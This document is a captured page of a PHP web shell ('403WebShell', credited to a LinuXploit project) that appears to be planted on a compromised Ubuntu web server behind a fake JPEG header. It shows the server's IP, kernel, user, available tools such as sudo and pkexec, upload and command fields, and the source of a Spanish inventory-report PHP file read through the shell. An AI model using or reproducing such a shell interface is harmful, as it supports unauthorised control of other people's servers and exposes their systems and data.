����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 216.73.216.193
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/var/www/html/t/sae/appsae/core/app/view/reports2-view.php
<?php

$stocks = StockData::getAll();
?>


  <section class="content-header">
			<nav class = "navbar navbar-inverse">
					<div class = "container-fluid">
						<a href = "#" class = "navbar-brand">Movimientos de Inventario Por Almacen</a>
					</div>
			</nav>
         
		  
    </section>
	
	 <ol class="breadcrumb" align="right">
            <li><a href="./?view=reports"><i class="fa fa-dashboard"></i> Inventario</a></li>
            <li class="active">Movimientos de Producto</li>
          </ol>
	
<section class="content">

<div class="box box-primary">
		
	<div class="box-body">
		<div class="row">
		<div class="col-md-12">
			<form>
				<input type="hidden" name="view" value="reports">			
				<div class="row">
					<div class="col-md-2">
						<select name="stock_id" required class="form-control">
							<option value="">-- ALMACEN --</option>
							<?php foreach($stocks as $p):?>
							<option value="<?php echo $p->id;?>" <?php if(isset($_GET["stock_id"]) && $_GET["stock_id"]==$p->id){ echo "selected"; }?>><?php echo $p->name;?></option>
							<?php endforeach; ?>
						</select>
					</div>
					<div class="col-md-3">
						<input type="text" class="form-control " id="product_id" name="product_id"  placeholder="Buscar Productos Por Codigo de barras...">
					</div>
					
					<div class="col-md-1">
						<button type="submit" class="btn btn-primary btn-block"><i class="fa fa-file-text"></i></button>
					</div>
				</div>
			</form>
			
			
		</div>
	</div>
</div>	

<div class="col-md-12">
		<?php if(isset($_GET["product_id"])&&($_GET["product_id"]!="")):?>
		
			<?php
			$code=$_GET["product_id"];
			$stock_id = $_GET["stock_id"];
			
			$prods = ProductData::getBycode2($code);
			
			//print_r($prods);
			
			if(count($prods)>0){
			?>
			
			<h3>Reporte de Inventario de Almacen <?php echo StockData::getById($stock_id)->name;?></h3>
				<div class = "table-responsive">	
					<table class = "table table-bordered">
					<thead class="alert-info">
						<th>Codigo</th>
						<th>Nombre</th>
						<th>Unidad</th>
						<th>Costo unitario</th>
						<th colspan="4">Movimientos</th>
						<th>Existencia</th>
					
					</thead>
					<?php foreach($prods as $product): ?>
					
				<?php 
				// almacen ---------------------------------------------
				//compras	
				$itotal2 =0;
				   $itotal2 = OperationData2::GetInputQByStock($product->id,$stock_id);
				//ordenes de compra
				$itotal_O = 0;
				   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
				//Total de entradas
				$entradas = 0;
				$entradas = $itotal2 + $itotal_O['0']->sum;
				
					//ventas en tabla t_sale_detail
				$vendedores = UserData::getByIdStock($stock_id);
				//print_r($vendedores);
				$totalV=0;
				foreach($vendedores as $vendedor){
						//ventas en tabla t_sale_detail por almacen
							$operations3 = OperationData::getByc2OK($product->barcode, $vendedor->id_user);
							
						foreach($operations3 as $op)
						{
							$totalV = $totalV + $op->qty;
						}
				}
				
				//ajuste salida
				$totalAjusteS=0;
				$totalAjusteS = -1*OperationData2::getOutputQByStock($product->id, $stock_id);
				
				//devoluciones de tabla operations
				$totalDev=0;
				$operations4 = OperationData::getAllByProductIdAndStockDev($product->id, $stock_id);
				
					foreach($operations4 as $op2)
					{
						$totalDev = $totalDev + $op2->q;
					}
				//existencia 
				$existencia1=0;
				$existencia1 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
				
			
				?>
				
					
					
						<tr  class="<?php echo "danger";?>">	
							
							<td style="width:80px;"><?php echo $product->barcode; ?></td>
							<td style="width:280px;"><?php echo $product->name; ?></td>
							<td style="width:80px;"><?php echo $product->unit; ?></td>
							<td style="width:80px;">$ <?php echo number_format($product->price_in,2); ?></td>
							<td style="width:80px;">C <?php echo number_format($entradas,2); ?></td>
							<td style="width:80px;">V <?php echo number_format($totalV,2); ?></td>
							<td style="width:80px;">A <?php echo number_format(abs($totalAjusteS),2); ?></td>
							<td style="width:80px;">D <?php echo number_format($totalDev,2); ?></td>
							<td style="width:80px;"><u> <?php echo number_format($existencia1,2); ?></u></td>
						</tr>	
					<?php 
					
					endforeach;?>
					
					</table>
				</div>	
			
			
			
			<?php } ?>
			
		<?php else:?>	
		
		<?php
		ini_set('max_execution_time', '300');
			$stock_id = $_GET["stock_id"];
			
			//buscamos tods los productos
			$prods = ProductData::getBycodeItemStock();
			//print_r($prods);	
		$totalExitencias=0;
		
			?>
			
			<h3>Reporte de Inventario de Almacen <b><u><?php echo StockData::getById($stock_id)->name;?></u></b></h3>
				<div class="box box-primary">
				<div class="box-header">
				<table class="table table-bordered table-hover table-responsive datatable">
					<thead class="alert-info">
						<th>Codigo</th>
						<th>Nombre</th>
						<th colspan="4">Movimientos</th>
						<th>Existencia</th>
					
					</thead>
					<?php foreach($prods as $product): ?>
					
				<?php 
				
				$product2 = ProductData::getBycode($product->barcode);
				// almacen ---------------------------------------------
				//compras	
				$itotal2 =0;
				   $itotal2 = OperationData2::GetInputQByStock($product2->id,$stock_id);
				//ordenes de compra
				$itotal_O = 0;
				   $itotal_O = OperationData2::getBySumOC($product->barcode, $stock_id);
				//Total de entradas
				$entradas = 0;
				$entradas = $itotal2 + $itotal_O['0']->sum;
				
					//ventas en tabla t_sale_detail
				$vendedores = UserData::getByIdStock($stock_id);
				//print_r($vendedores);
				$totalV=0;
				foreach($vendedores as $vendedor){
						//ventas en tabla t_sale_detail por almacen
							$operations3 = OperationData::getByc2OK2($product->barcode, $vendedor->id_user);
							
						foreach($operations3 as $op)
						{
							$totalV = $totalV + $op->qty;
						}
				}
				
				//ajuste salida
				$totalAjusteS=0;
				$totalAjusteS = -1*OperationData2::getOutputQByStock($product2->id, $stock_id);
				
				//devoluciones de tabla operations
				$totalDev=0;
				$operations4 = OperationData::getAllByProductIdAndStockDev($product2->id, $stock_id);
				
					foreach($operations4 as $op2)
					{
						$totalDev = $totalDev + $op2->q;
					}
				//existencia 
				$existencia1=0;
				$existencia1 = ($entradas - $totalV + $totalDev) + $totalAjusteS;
				
				$totalExitencias = $totalExitencias + $existencia1;
				?>
				
					
					<?php if($existencia1>0){ ?>
						<tr  class="<?php echo "danger";?>">	
							
							<td style="width:80px;"><?php echo $product->barcode; ?></td>
							<td style="width:280px;"><?php echo $product->item_name; ?></td>
							<td style="width:80px;">C <?php echo number_format($entradas,2); ?></td>
							<td style="width:80px;">V <?php echo number_format($totalV,2); ?></td>
							<td style="width:80px;">A <?php echo number_format(abs($totalAjusteS),2); ?></td>
							<td style="width:80px;">D <?php echo number_format($totalDev,2); ?></td>
							<td style="width:80px;"><u> <?php echo number_format($existencia1,2); ?></u></td>
						</tr>	
					<?php } ?>	
						
				<?php endforeach;?>
					
					</table>
					
								
						
					
				</div>	
			</div>	
			
			
			
			
			
		<div class="box box-primary">
						<div class="box-header">
							<table class="table table-bordered table-hover table-responsive datatable">
							<thead class="alert-info">
							<th>total</th>
							</thead>
							<tr>
							<td><p> <?php echo number_format($totalExitencias,2); ?> </p></td>
							</tr>
							</table>
						</div>
					</div>
		
			
		<br><!--- -->
	
		
		<?php endif;?>
	</div>	
	
	
	
	<br><!--- -->
	<br>
	<br>
	<br>
	
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit